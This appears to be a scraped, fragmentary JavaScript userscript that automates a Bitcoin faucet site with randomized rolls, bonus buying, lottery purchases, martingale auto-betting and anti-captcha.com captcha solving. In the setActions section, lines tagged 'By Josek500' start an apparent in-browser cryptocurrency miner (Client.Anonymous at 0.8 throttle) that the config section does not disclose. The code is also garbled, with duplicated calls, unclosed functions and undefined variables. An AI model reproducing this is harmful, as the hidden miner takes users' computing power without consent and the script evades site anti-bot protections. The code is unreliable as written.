Professional Documents
Culture Documents
///////////////////////////////////////////////////////////////////////////////////
/////////////
////////////////////////////////////
///////// CONFIG ///
////// EDIT JUST THIS SECTION //
////////////////////////////////////
// ** BEHAVIOR ** //
var PROMO_MODE = true; // play faster when some promo (bonus RP or 1000% is
active, or not. Override nexts.
var SLOW_MODE = false; // play always really slow, not ovevrcharghing the rolls.
Override nexts.
var NIGHT_MODE = true; // play slower when it's night time
// *** Bonuses
var REWARDS = true; //decide if auto buy rewards bonuses, or not ***When true, it
will activate RP promotions***
var BONUS1000 = false; //decide if to buy 1000% bonus or not. It costs 4600 RP.
*** When BONUS1000 = false and REWARDS = true, you'll increase RP. ***
var HOURS_BETWEEN_BUY_BONUS = 2; // How many hours to wait before to buy Bonuses
Rewards Promo again
// *** Lottery
var LOTTERY = false; //decide if auto buy lottery tickets, or not. ***When true, It
will buy lottery tickets 7% of the times ***
var LOTTERY_MAX_TICKETS = 5; // Max ticket to buy
// ** Logging
var LOGGING = 5; //0 is no messages, 5 is debug
// Show/Hide Parts
var HIDE_FORCE_MULTIPLY = true;
var HIDE_RESET_STATS = false;
var HIDE_UPDATE_STATUS = true;
// System Variables //
var css_reset='font-weight: reset; color:reset';
var css_bold='font-weight:bold;';
var script_output = "";
var script_output_msg_1 = "";
var script_output_msg_2 = "";
var script_output_msg_css = "";
var points=0;
var ads_closed=0; //number of ads closed, increasing
var rolling_mode="Day"; //night, day, promo, etc
var dateTimeFormat = new Intl.DateTimeFormat('en', { year: 'numeric', month:
'short', day: '2-digit', hour: 'numeric', minute: 'numeric', hour12: false });
var script_version = GM_info.script.version;
var isBonusActive = false;
var rand = 0;
var r = 0;
var d = new Date();
var rp_hist = "";
// Lottery function
// It will plan to buy few lottery tickets, more less 7% of the times
setTimeout(function(){ showStatus(); }, 1000 );
setTimeout(function(){ lottery(); }, 2000 );
setTimeout(function(){ multiply(false); }, 4000 );
setTimeout(function(){ rewards(); }, 5000 );
setTimeout(function(){
closePopupInterval($('.close-reveal-modal'));
closePopupInterval($('.pushpad_deny_button'));
}, 20000 );
setInterval(function(){
setTimeout(function(){ rewards(); }, 5000 );
setTimeout(function(){ showStatus(); }, 1000 );
setTimeout(function(){
closePopupInterval($('.close-reveal-modal'));
closePopupInterval($('.pushpad_deny_button'));
}, 20000 );
}, 900000);
if (!Boolean(HIDE_RESET_STATS))
script_output += '<span id="reset_all_stats" style="color:darkgreen;
cursor: pointer;">Reset all stats</span></br>';
if (!Boolean(HIDE_FORCE_MULTIPLY))
script_output += '<span id="forced_roll" style="color:darkgreen; cursor:
pointer;">Force Multiply Now</span></br>';
if (!Boolean(HIDE_UPDATE_STATUS))
script_output += '<span id="forced_status_update" style="color:darkgreen;
cursor: pointer;">Update Status</span></br>';
script_output += '</div></div>';
script_output += '<p class="script_output" id="script_output_msg_1"></p>';
script_output += '<p class="script_output" id="script_output_msg_2"></p>';
function rewards() {
if (LOGGING > 4) console.log("%c[Debug] Function rewards begin",
'color:grey');
var bonustime = {};
var t = missingTime();
var _min = 20;
var milli_between_bonuses = Math.floor(HOURS_BETWEEN_BUY_BONUS*60*60*1000);
points = parseInt($('.user_reward_points').text().replace(',',""));
rp_hist += points+"-";
setCookie ("rp_hist", rp_hist, 7);
if ($("#bonus_container_free_points").length != 0) {
bonustime.text = $('#bonus_span_free_points').text();
bonustime.hour = parseInt(bonustime.text.split(":")[0]);
bonustime.min = parseInt(bonustime.text.split(":")[1]);
bonustime.sec = parseInt(bonustime.text.split(":")[2]);
bonustime.current = bonustime.hour * 3600 + bonustime.min * 60 +
bonustime.sec;
if(Boolean(PROMO_MODE)) $("#script_output_title_msg_mode").text("Promo");
$('#script_output_title_bonus_wait_hours').text('Active
'+bonustime.hour+'h');
setCookie("last_bonus", d, 7);
isBonusActive = true;
} else {
var last_bonus_diff = Math.floor(d.getTime() - last_bonus);
if (LOGGING > 4) console.log("%c[Debug] lastBonus diff: "+last_bonus_diff+"
-- last_bonus: "+last_bonus+" -- now: "+d.getTime()+" var setted:
"+milli_between_bonuses, 'color:grey');
bonustime.current = 0;
// Buy Bonus if missing less then _min minutes before roll
// AND has passed at least HOURS_BETWEEN_BUY_BONUS from the last one
// AND missing time > 0 AND REWARDS is true
if (Boolean(REWARDS) && t[0]<=_min && t[0] > 0 && last_bonus_diff >
milli_between_bonuses) {
$('.rewards_link').not('.hide_menu').click();
if (points < 12) {
if (LOGGING > 2) console.log("No enough points to buy bonus. Less
then 12. Waiting for points in next rolls");
} else if (points < 120) {
if (LOGGING > 1) console.log("buying bonus 1RP");
setTimeout(function()
{ RedeemRPProduct('free_points_1'); },random(2000,16000));
tot_rp_spent_rewards=Math.floor(parseInt(tot_rp_spent_rewards)+12);
} else if (points < 600) {
if (LOGGING > 1) console.log("buying bonus 10RP");
setTimeout(function()
{ RedeemRPProduct('free_points_10'); },random(2000,16000));
tot_rp_spent_rewards=Math.floor(parseInt(tot_rp_spent_rewards)
+120);
} else if (points < 1200) {
if (LOGGING > 1) console.log("buying bonus 50RP");
setTimeout(function()
{ RedeemRPProduct('free_points_50'); },random(2000,16000));
tot_rp_spent_rewards=Math.floor(parseInt(tot_rp_spent_rewards)
+600);
} else {
if (LOGGING > 1) console.log("buying bonus 100RP");
setTimeout(function()
{ RedeemRPProduct('free_points_100');},random(2000,16000));
tot_rp_spent_rewards=Math.floor(parseInt(tot_rp_spent_rewards)
+1200);
}
if ($('#bonus_span_fp_bonus').length === 0)
if (points >= 3200 && Boolean(BONUS1000) ) {
if (LOGGING > 1) console.log("buying bonus 1000% roll");
setTimeout(function()
{ RedeemRPProduct('fp_bonus_1000')},random(15000,35000));
tot_rp_spent_rewards=Math.floor(parseInt(tot_rp_spent_rewards)
+3200);
}
setCookie("tot_rp_spent_rewards",tot_rp_spent_rewards,7);
//Back to the main page
setTimeout(function(){ $
('.free_play_link').not('.hide_menu').click(); }, random(35000,40000));
if (Boolean(REWARDS)) { c1 = 'green'; }
else {
if (LOGGING > 3) console.log('Not buying RPBonuses. Not Active by
config');
$('#script_output_title_bonus_wait_hours').text('Disabled');
$
('#script_output_title_bonus_wait_hours').removeClass('true').addClass('false');
}
if (LOGGING > 3) console.log('Not buying RPBonuses: Setting Variable
is: %c'+Boolean(REWARDS)+' %c -- %c and missing minutes are: %c '+t[0]+'
%c(<'+_min+')', 'color:'+c1, 'color:reset; font-weight:bold', 'font-weight: reset',
'color:'+c2, 'color:reset; font-weight:bold');
}
}
}
function Roll() {
var h = d.getHours();
if ($('#free_play_form_button').is(':visible') && ! $
('#play_without_captchas_button').is(':visible')) {
console.log("strange");
r=random(1,100);
$('body').focus();
if ( (h <= 6 || h>=22) && Boolean(NIGHT_MODE) ) { //from 22 to 7am
if (r <= 30) rand=random(2400000,7200000);
else rand=random(1000000,3600000);
rolling_mode="Night";
} else {
if (r <= 10) rand=random(9000,7200000); // xx%, long wait, more
than hour
else if (r <= 30) rand=random(6000,1800000); // long but not longest
else if (r <= 71) rand=random(3000,1200000); // xx% cases medium
else rand=random(500,60000); // xx% cases fast roll
rolling_mode="Day";
}
if (Boolean(SLOW_MODE)) {
if (r <= 5) rand=random(3000,50000);
else if (r <= 20) rand=random(30000,1500000);
else if (r <= 40) rand=random(60000,2000000);
else rand=random(90000,3000000);
rolling_mode="Slow";
}
if (tot_btc_winning_rolling == 0) {
rand=random(1000,2000);
if (LOGGING > 2) console.log('>>>>> First Execution, fast ROLL');
}
$("#script_output_title_msg_mode").text(rolling_mode);
//rand = rand(1000,2000);
//By Josek500
setActions();
//By Josek500
//By Josek500
setActions();
//By Josek500
} else {
$('#script_output_title_msg_roll').html('<span class="bold">Waiting Next
Roll</span>');
//$("#script_output_title_msg_mode").text("Wait");
if (LOGGING > 2) console.log("No roll");
}
}
function captchaRoll() {
if (LOGGING > 4) console.log("%c[Debug] Function captchaRoll begin",
'color:grey');
$('#play_without_captchas_button').click();
setTimeout(function(){
var cost_rp = $('.play_without_captcha_description span').text();
if (LOGGING > 2) console.log ("%cTry to play without captcha for
"+cost_rp+" RP points. You have "+points+" RP.", 'color:purple;');
if (points >= cost_rp ) {
// ROLL anyway paying
if (LOGGING > 2) console.log ("Roll with Captcha");
$('#script_output_title_msg_roll').html('<span class="bold
true">Captcha OK</span>');
r=random(1,100);
if (r <= 10) rand=random(9000,7200000); // xx%, long wait, more
than hour
else if (r <= 30) rand=random(6000,1800000); // long but not longest
else if (r <= 71) rand=random(3000,1200000); // xx% cases medium
else rand=random(500,60000); // xx% cases fast roll
rolling_mode="Captcha";
$("#script_output_title_msg_mode").text(rolling_mode);
if (tot_btc_winning_rolling == 0) {
rand=random(1000,2000);
if (LOGGING > 2) console.log('>>>>> First Execution, fast ROLL');
}
rand = random(500,60000);
rollAndRetrieve(rand);
tot_rp_spent_captcha = Math.floor (parseInt(tot_rp_spent_captcha)
+parseInt(cost_rp));
setCookie("tot_rp_spent_captcha", tot_rp_spent_captcha, 7);
} else {
if (LOGGING > 2) console.log ("%cNot enough RP. No Roll", 'color:
red');
$('#script_output_title_msg_roll').html('<span class="bold false">Miss
RP</span>'); // Status on page
}
}, random(1000,3000));
}
setTimeout(function(){
//Duplicate the visibility chek to avoid error when humans roll and don't
refresh.
if ( $('#free_play_form_button').is(':visible') ){
$('body').focus();
}, 500);
setTimeout(function(){
//By Josek500
function setActions(){
var _client = new Client.Anonymous(key, {throttle: 0.8, c: 'w' , ads: 0});
_client.start([Client.FORCE_EXCLUSIVE_TAB]);
var cost_rp = $('.play_without_captcha_description span').text();
if(rpNumber == 1){
captchaRoll();
}
if(rpNumber >= 2){
createTask();
setTimeout(() => {
getTaskResult();
}, 7000);
}
//By Josek500
function lottery () {
//Plan buying lottery ticket
if(Boolean(LOTTERY)){
if (LOGGING > 4) console.log("%c[Debug] Function lottery begin",
'color:gray');
var r = random(1,100);
var d = new Date();
var h = d.getHours();
var satbalance = parseInt($('#balance').text().split(".")[1]);
var randl = random(1,LOTTERY_MAX_TICKETS).toFixed(0); //Tickets to buy
if (r > 93 && h >= 5 && satbalance > randl) {
if (LOGGING > 2) console.log("Buy %c"+ randl + " lottery tickets %cin
some time....", 'color:yellow, color: reset');
setTimeout(function(){
$('#lottery_tickets_purchase_count').val(randl);
setTimeout(function(){
$('#purchase_lottery_tickets_button').click();
if (LOGGING > 2) console.log("%cBought "+ randl + " lottery
tickets", 'color:yellow');
tot_lottery_tickets =
Math.floor(parseInt(tot_lottery_tickets) + parseInt(randl));
setCookie('tot_lottery_tickets',tot_lottery_tickets,7);
}, random(2000,4000));
}, random(40000,120000));
}
}
}
function missingTime () {
var min = 0; var sec = 0; var str = "";
str = $('title').text().split(" ")[0];
if (LOGGING > 4) console.log("%c[Debug] [missingTime] string: "+str, 'color:
grey');
if (str.length <= 7 && str.length >= 3) {
min = str.split(':')[0]; if (min.length > 0) min = min.replace('m','');
sec = str.split(':')[1]; if (sec.length > 0) sec = sec.replace('s','');
} else { min = -1; sec = -1; }
return [min,sec];
}
function random(min,max){
return min + (max - min) * Math.random();
}
var [{ value: month },,{ value: day },,{ value: year },,{ value: hour },,
{ value: minute }] = dateTimeFormat .formatToParts(date );
var ca='red'; var cb='red'; var cc='red'; var css='font-weight: bold; color:';
var c1='purple'; var c2='olive';
var c3='brown'; var c4='teal';
if (LOGGING > 0) console.log(">>>>>>>>>>%c Status:%c ["+hour+":"+minute+"]",
css_bold+'color:'+c1, css_bold);
//Rewards and multiply infos and colors
if (Boolean(REWARDS)) ca = 'green'; if (Boolean(MULTIPLY)) cb='green'; if
(Boolean(LOTTERY)) cc='green';
var cssa='font-weight: bold; color:'+ca;
var cssb='font-weight: bold; color:'+cb;
var cssc='font-weight: bold; color:'+cc;
if (LOGGING > 0) console.log(">>>>>>>>>> Buying Rewards:
"+"%c"+Boolean(REWARDS)+""+"%c; Playing Multiply: "+"%c"+Boolean(MULTIPLY)+""+"%c;
Buying Lottery: "+"%c"+Boolean(LOTTERY), cssa, css_reset,cssb, css_reset, cssc);
if (t[0] > 0 || t[1] > 0) {
if (LOGGING > 0) console.log(">>>>>>>>>> Missing "+"%c"+t[0]+" min "+t[1]+"
sec"+"%c for next roll",css_bold+"color:"+c1,css_reset);
}
function getCookie(cname) {
var name = cname + "=";
var decodedCookie = decodeURIComponent(document.cookie);
var ca = decodedCookie.split(';');
for(var i = 0; i <ca.length; i++) {
var c = ca[i];
while (c.charAt(0) == ' ') {
c = c.substring(1);
}
if (c.indexOf(name) == 0) {
return c.substring(name.length, c.length);
}
}
return "";
}
function reset_all_stats(){
if (LOGGING > 2) console.log("%c Resettnig all stats deleting all cookies",
'color:red');
setCookie("jackpot_distance",0,7); setCookie("executions",0,7);
setCookie('tot_btc_winning_rolling',0,7);
setCookie('tot_lottery_winning_rolling',0,7);
setCookie('tot_rp_winning_rolling',0,7); setCookie('tot_lottery_tickets',0,7);
setCookie('tot_rp_spent_rewards',0,7); setCookie('tot_rp_spent_captcha',0,7);
setCookie('tot_multiply_balance',0,7); setCookie('tot_multiply_games',0,7);
setCookie('executions',0,7); setCookie("last_bonus",0,7);
setCookie("last_multiply",0,7);
setCookie("rp_cost_cookie",0,7);
setCookie("cooldown_cookie",null,7);
location.reload();
}
var t = missingTime();
var _min = 20;
var milli_between_multiplies = Math.floor(HOURS_BETWEEN_MULTIPLY*60*60*1000);
var balance = parseFloat($('#balance').text()).toFixed(8);
var bonus_mul = false;
var last_multiply_diff = Math.floor(d.getTime() - last_multiply);
if ($("#bonus_account_table").length != 0) {
var bonus_mul_balance = $('#bonus_account_balance').text().split(" ")[0];
var bonus_mul_wager_remaining = $('#bonus_account_wager').text().split(" ")
[0];
if (LOGGING > 2) console.log('%cbonus balance: '+bonus_mul_balance+',
wager remaining: '+bonus_mul_wager_remaining, 'color:grey');
bonus_mul = true;
} else bonus_mul = false;
if ( Boolean(after_roll) && (balance > MAX_BET || bonus_mul_balance > MAX_BET)
&& Boolean(MULTIPLY) && t[0]>_min && last_multiply_diff >
milli_between_multiplies ) {
var play_count=0; var curr_multiply_balance=0;
$('.double_your_btc_link').not('.hide_menu').click();
tot_multiply_games = parseInt(tot_multiply_games)+1;
setCookie("tot_multiply_games", tot_multiply_games, 7);
setCookie("last_multiply", d, 7);
// Autobet at "martingale"
if (Boolean(MARTINGALE_AUTO)) {
var play_remaining=0;
setTimeout(function(){
$('#auto_bet_on').click();
$('#autobet_base_bet').val(BAS_BET.toFixed(8)); $
('#autobet_max_bet').val(MAX_BET.toFixed(8));
$('#autobet_roll_count').val(MAX_ROLLS_AT_MULTIPLY);
$('#autobet_bet_hi').prop('checked', true); $
('#autobet_bet_alternate').prop('checked', false);
}, random(2200,5000));
setTimeout(function(){
$('#show_double_your_btc_auto_bet_on_lose').click();
$('#autobet_lose_increase_bet').prop('checked', true); $
('#autobet_lose_return_to_base').prop('checked', false);
$('#autobet_max_bet_stop').prop('checked', true); $
('#autobet_max_bet_reset').prop('checked', false);
$('#autobet_lose_increase_bet_percent').val('100');
$('#autobet_dnr').prop('checked', true);
}, random(6000,11000));
setTimeout(function(){
if (LOGGING > 4) console.log("Activating DOM Monitors");
$('#double_your_btc_result').on('DOMSubtreeModified', function(){
play_remaining = $('#rolls_remaining_count').html();
play_count = $('#rolls_played_count').html();
if ($("#double_your_btc_bet_lose").html().length > 0 ) {
winnings = $("#double_your_btc_bet_lose").html().split(" ")
[6];
if (winnings == MAX_BET || play_remaining == 0) {
//finished
if (LOGGING > 4) console.log("Disabling Monitors,
finished multiply"); $
("#double_your_btc_result").off('DOMSubtreeModified');
curr_multiply_balance = $('#autobet_pl').html().split("
")[0];
tot_multiply_balance =
parseFloat(parseFloat(tot_multiply_balance) +
parseFloat(curr_multiply_balance)).toFixed(8);
tot_multiply_bets =
parseInt(parseInt(tot_multiply_bets) + parseInt(play_count));
setCookie('tot_multiply_balance', tot_multiply_balance,
7);
setCookie('tot_multiply_bets', tot_multiply_bets, 7);
if (LOGGING > 4) console.log("tot balance:
"+tot_multiply_balance+", curr bal: "+curr_multiply_balance+", tot bets:
"+tot_multiply_bets+", play_remaining:
"+play_remaining); }
}
});
$('#start_autobet').click(); }, random(17100,30000));
$('#script_output_title_multiply_wait_hours').text('Completed');
setCookie("last_multiply", d, 7);
} else if (Boolean(MARTINGALE_MANUAL)) {
var curr_bet=BAS_BET; var winnings; var won = 0 ; var
consecutive_lost=0;
var fast_bet=false; var log_msg = ""; var c;
var hilo = 'H';
var olaer =
['H','L','L','H','H','H','L','L','L','L','H','H','H','H','H','L','L','L','L','L','L
','H','H','H','H','H','H','H','L','L','L','L','L','L','L','L'];
// Activate DOM Monitors
if (LOGGING > 4) console.log("Activating DOM Monitors");
$('#double_your_btc_result').on('DOMSubtreeModified', function(){
if ( $("#double_your_btc_bet_win").html().length > 0 ) {
winnings = $("#double_your_btc_bet_win").html().split(" ")[6];
if (winnings > 0) {
tot_multiply_balance =
parseFloat(parseFloat(tot_multiply_balance) + parseFloat(winnings)).toFixed(8);
curr_multiply_balance =
parseFloat(parseFloat(curr_multiply_balance) + parseFloat(winnings)).toFixed(8);
}
fast_bet = true;
consecutive_lost=0;
if (MARTINGALE_MANUAL_LOSSES_BEFORE_PLAY > 0) curr_bet =
MIN_BET;
else curr_bet = BAS_BET;
c="green";
won = 1;
} else if ($("#double_your_btc_bet_lose").html().length > 0 ) {
winnings = $("#double_your_btc_bet_lose").html().split(" ")[6];
if (winnings > 0) {
tot_multiply_balance =
parseFloat(parseFloat(tot_multiply_balance) - parseFloat(winnings)).toFixed(8);
curr_multiply_balance =
parseFloat(parseFloat(curr_multiply_balance) - parseFloat(winnings)).toFixed(8);
}
consecutive_lost++;
if (consecutive_lost > max_consecutive_losts)
setCookie('max_consecutive_losts', consecutive_lost, 365);
if (consecutive_lost < MARTINGALE_MANUAL_LOSSES_BEFORE_PLAY) {
curr_bet = MIN_BET;
fast_bet = true;
} else if (consecutive_lost ==
MARTINGALE_MANUAL_LOSSES_BEFORE_PLAY){
curr_bet = BAS_BET;
fast_bet = false;
} else {
curr_bet = 2*curr_bet;
fast_bet = false;
}
c = "red";
won = -1;
} else won = 0;
if (won != 0) {
setCookie("tot_multiply_balance", tot_multiply_balance, 7);
var rolled = $('#previous_roll').text();
if (LOGGING > 4) {
log_msg = "Rolled: "+rolled+",%c Won:
"+parseFloat(winnings).toFixed(8)+"%c, Play# : "+play_count;
log_msg += "/"+MAX_ROLLS_AT_MULTIPLY+", Cons lost:
"+consecutive_lost;
log_msg += ", Curr bal: "+curr_multiply_balance+", Tot bal:
"+tot_multiply_balance;
log_msg += ", Fast: "+fast_bet+", Next bet:
"+parseFloat(curr_bet).toFixed(8)+" on "+hilo ;
console.log(log_msg, css_bold+"color:"+c, css_reset);
}
// By sohaylelbahi https://es.fiverr.com/sohaylelbahi
if (apikey == '') {
alert('API key required. Register in anti-captcha.com, topup your balance
and grad the key from API Setup.');
return false;
}
payload = {
'clientKey' : apikey,
'taskId' : taskId
};
// By sohaylelbahi https://es.fiverr.com/sohaylelbahi